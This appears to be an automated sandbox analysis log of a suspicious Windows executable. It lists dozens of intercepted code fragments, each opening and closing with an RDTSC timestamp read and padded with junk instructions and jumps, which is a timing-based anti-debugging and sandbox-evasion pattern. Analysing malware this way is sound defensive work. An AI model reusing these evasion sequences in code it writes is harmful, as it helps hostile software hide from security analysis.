Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190891 second address: 51908AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov esi, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a and esp, FFFFFFF8h 0x0000000d pushad 0x0000000e mov dx, F6A0h 0x00000012 mov si, bx 0x00000015 popad 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51908AE second address: 51908B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51908B2 second address: 51908B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51908B6 second address: 51908BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51908BC second address: 5190932 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F15B904E932h 0x00000008 pop esi 0x00000009 jmp 00007F15B904E92Bh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], ebx 0x00000014 jmp 00007F15B904E936h 0x00000019 xchg eax, esi 0x0000001a jmp 00007F15B904E930h 0x0000001f push eax 0x00000020 jmp 00007F15B904E92Bh 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 mov edx, esi 0x00000029 mov ebx, eax 0x0000002b popad 0x0000002c mov esi, dword ptr [ebp+08h] 0x0000002f pushad 0x00000030 pushad 0x00000031 mov ax, dx 0x00000034 movsx edx, si 0x00000037 popad 0x00000038 popad 0x00000039 sub ebx, ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190932 second address: 5190938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190938 second address: 519093E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519093E second address: 5190942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190942 second address: 5190961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edi 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190961 second address: 5190977 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F162A919BA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190977 second address: 519097B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 519097B second address: 5190981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190981 second address: 51909BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 44D1h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [esi+08h], DDEEDDEEh 0x00000011 jmp 00007F15B904E933h 0x00000016 mov ecx, esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F15B904E935h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51909BE second address: 51909DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F162A919B62h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F15B8B84190h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51909DF second address: 51909FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 31218694h 0x00000008 mov si, bx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test byte ptr [76FB6968h], 00000002h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 movsx ebx, ax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51909FA second address: 5190A37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, esi 0x00000008 popad 0x00000009 jne 00007F162A919B39h 0x0000000f pushad 0x00000010 mov ecx, 6BB6ECE1h 0x00000015 mov eax, 7854761Dh 0x0000001a popad 0x0000001b mov edx, dword ptr [ebp+0Ch] 0x0000001e jmp 00007F15B8B84198h 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190A37 second address: 5190A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190A3B second address: 5190A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190A3F second address: 5190A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190A45 second address: 5190A90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84194h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F15B8B8418Bh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushfd 0x00000018 jmp 00007F15B8B8418Ch 0x0000001d add ecx, 2FBD7D68h 0x00000023 jmp 00007F15B8B8418Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190A90 second address: 5190AAB instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15B904E931h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190AAB second address: 5190AE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F15B8B8418Ah 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B8B84197h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190B38 second address: 5190B47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190B47 second address: 5190B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F15B8B8418Ch 0x00000011 or eax, 00A35ED8h 0x00000017 jmp 00007F15B8B8418Bh 0x0000001c popfd 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190B89 second address: 5190BD3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F15B904E934h 0x00000008 adc ax, 2938h 0x0000000d jmp 00007F15B904E92Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop ebx 0x00000017 jmp 00007F15B904E936h 0x0000001c mov esp, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190BD3 second address: 5190BD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5190BD7 second address: 5190BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210D78 second address: 5210D94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F15B8B84197h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210D94 second address: 5210DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 jmp 00007F15B904E934h 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F15B904E92Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210DC2 second address: 5210DC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210DC6 second address: 5210DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210DCC second address: 5210DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, 41h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15B8B8418Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210DE7 second address: 5210E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 1954h 0x00000007 jmp 00007F15B904E92Dh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov edx, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15B904E936h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210E1B second address: 5210E36 instructions: 0x00000000 rdtsc 0x00000002 mov ch, E0h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15B8B8418Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210E36 second address: 5210E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210E3A second address: 5210E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 52100F0 second address: 521010C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E931h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 521010C second address: 5210110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210110 second address: 5210114 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210114 second address: 521011A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 521011A second address: 5210120 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210120 second address: 5210124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210124 second address: 521015A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B904E92Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F15B904E92Bh 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15B904E935h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 521015A second address: 5210177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84191h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210177 second address: 521017D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5200E3D second address: 5200EAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B8B8418Fh 0x00000009 or eax, 300C890Eh 0x0000000f jmp 00007F15B8B84199h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F15B8B84190h 0x0000001b adc ax, 5F88h 0x00000020 jmp 00007F15B8B8418Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F15B8B84194h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5200EAC second address: 5200F63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B904E931h 0x00000009 and cx, 0D56h 0x0000000e jmp 00007F15B904E931h 0x00000013 popfd 0x00000014 mov si, 1EC7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F15B904E938h 0x00000023 or ah, FFFFFFA8h 0x00000026 jmp 00007F15B904E92Bh 0x0000002b popfd 0x0000002c jmp 00007F15B904E938h 0x00000031 popad 0x00000032 mov ebp, esp 0x00000034 jmp 00007F15B904E930h 0x00000039 pop ebp 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007F15B904E92Dh 0x00000043 add eax, 537BF426h 0x00000049 jmp 00007F15B904E931h 0x0000004e popfd 0x0000004f mov ax, 8957h 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0FA2 second address: 51A0FA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0FA8 second address: 51A0FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51A0FAC second address: 51A0FB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 52104CC second address: 52104E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 4A9C4BDCh 0x00000009 popad 0x0000000a popad 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 52104E0 second address: 52104E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 52104E6 second address: 52104FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B904E932h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 52104FC second address: 5210516 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210516 second address: 521051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 521051A second address: 5210535 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84197h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 5210535 second address: 52105B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15B904E92Fh 0x00000009 xor al, FFFFFFCEh 0x0000000c jmp 00007F15B904E939h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push 1B47E0AFh 0x0000001a jmp 00007F15B904E933h 0x0000001f xor dword ptr [esp], 1B46E0ADh 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007F15B904E92Bh 0x0000002f sub esi, 2082F58Eh 0x00000035 jmp 00007F15B904E939h 0x0000003a popfd 0x0000003b mov ch, 98h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0008 second address: 51C004C instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F15B8B84195h 0x0000000b call 00007F15B8B84190h 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007F15B8B8418Eh 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C004C second address: 51C0050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0050 second address: 51C0054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0054 second address: 51C005A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C005A second address: 51C0084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, cx 0x0000000e call 00007F15B8B84190h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0084 second address: 51C0098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F15B904E92Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0098 second address: 51C0106 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov eax, ebx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push FFFFFFFEh 0x0000000d pushad 0x0000000e mov bl, 98h 0x00000010 pushfd 0x00000011 jmp 00007F15B8B8418Eh 0x00000016 jmp 00007F15B8B84195h 0x0000001b popfd 0x0000001c popad 0x0000001d call 00007F15B8B84189h 0x00000022 jmp 00007F15B8B8418Eh 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov dx, si 0x0000002e call 00007F15B8B84198h 0x00000033 pop esi 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0106 second address: 51C016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 6B8Dh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f mov edx, esi 0x00000011 movzx eax, dx 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F15B904E92Ah 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 pushad 0x00000021 mov dh, E4h 0x00000023 movzx eax, di 0x00000026 popad 0x00000027 pop eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov al, 92h 0x0000002d pushfd 0x0000002e jmp 00007F15B904E933h 0x00000033 sub al, 0000004Eh 0x00000036 jmp 00007F15B904E939h 0x0000003b popfd 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C016A second address: 51C0170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0170 second address: 51C0174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0174 second address: 51C01B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 32E529AEh 0x0000000d jmp 00007F15B8B84194h 0x00000012 xor dword ptr [esp], 441587AEh 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F15B8B84197h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C01B5 second address: 51C01CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15B904E934h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C01CD second address: 51C021E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B8418Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000000h] 0x00000011 pushad 0x00000012 jmp 00007F15B8B84194h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F15B8B84190h 0x0000001e adc cx, 8118h 0x00000023 jmp 00007F15B8B8418Bh 0x00000028 popfd 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C021E second address: 51C0232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 pushad 0x00000008 mov ah, 1Eh 0x0000000a push ebx 0x0000000b mov ch, C9h 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\W5kZFcSOtE.exe RDTSC instruction interceptor: First address: 51C0232 second address: 51C02F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15B8B84199h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F15B8B8418Ch 0x00000011 add ah, 00000008h 0x00000014 jmp 00007F15B8B8418Bh 0x00000019 popfd 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F15B8B84196h 0x00000021 adc cx, 3768h 0x00000026 jmp 00007F15B8B8418Bh 0x0000002b popfd 0x0000002c mov ebx, ecx 0x0000002e popad 0x0000002f popad 0x00000030 sub esp, 1Ch 0x00000033 jmp 00007F15B8B84192h 0x00000038 xchg eax, ebx 0x00000039 jmp 00007F15B8B84190h 0x0000003e push eax 0x0000003f pushad 0x00000040 mov bh, 68h 0x00000042 push ecx 0x00000043 movsx edx, ax 0x00000046 pop esi 0x00000047 popad 0x00000048 xchg eax, ebx 0x00000049 pushad 0x0000004a movsx ebx, si 0x0000004d mov di, cx 0x00000050 popad 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 mov dx, cx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushfd 0x00000059 jmp 00007F15B8B8418Ah 0x0000005e sbb si, 3E88h 0x00000063 jmp 00007F15B8B8418Bh 0x00000068 popfd 0x00000069 rdtsc
